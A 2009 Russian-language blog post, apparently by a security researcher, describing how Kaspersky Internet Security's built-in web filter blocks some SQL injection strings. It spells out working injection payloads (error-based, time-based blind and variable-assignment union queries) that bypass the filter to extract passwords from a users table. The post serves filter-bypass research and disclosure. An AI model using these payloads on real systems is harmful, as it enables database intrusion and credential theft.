29 Октября, 2009

ВАФ! Kaspersky тоже вроде WAF

Dmitriy Evteev
Мои Позитивные коллеги тоже любят поиграться с sql injection:) Вот какое сообщение я наблюдал сегодня, когда виртуальная машина с лабораторной работой по sql-инъекциям была запущена на компьютере, где установлен KIS 2009 : Подобное сообщение можно увидеть, когда запрос содержит следующие ключевые слова и именно в такой последовательности: /?id=1 union select password from users name='more'> Примечательно, что такие запросы проходят без блокировки: /?id=1 union select passwd from users /?id=1 union select pass from users /?id=1 union select password from user /?id=1 union select login from users-- и т.п. Но, как быть, если необходимо использовать именно колонку с именем "password" и таблицу с именем "users"? Использовать все те же техники обхода , которые применяются и для других waf сигнатурного типа. Например, так: /?id=1+AND+extractvalue(1,concat(0x5C,(select+password+from+users+limit+0,1)))-- Или так: /?id=1+AND+if(ord((lower(mid((select+password+from+users+limit+0,1),1,1))))=49,sleep(10),1)-- Но в данном случае, фильтр KIS WAF обходится еще более изящнее. Сигнатура срабатывает только на строки "password" и "users", следующие после ключевого слова "union". Учитывая это, можно составить следующий запрос, который будет работать в обход фильтра KIS: /?id=1+and+(select+(@v:=password)+from+users+limit+0,1)+union+select+@v-- /?id=1+and+(select+(@v:=password)+from+users+limit+1,1)+union+select+@v-- и т.д. Собственно, KIS WAF bypass, но больше удивило другое - само присутствие waf в составе дистрибутива KIS ;))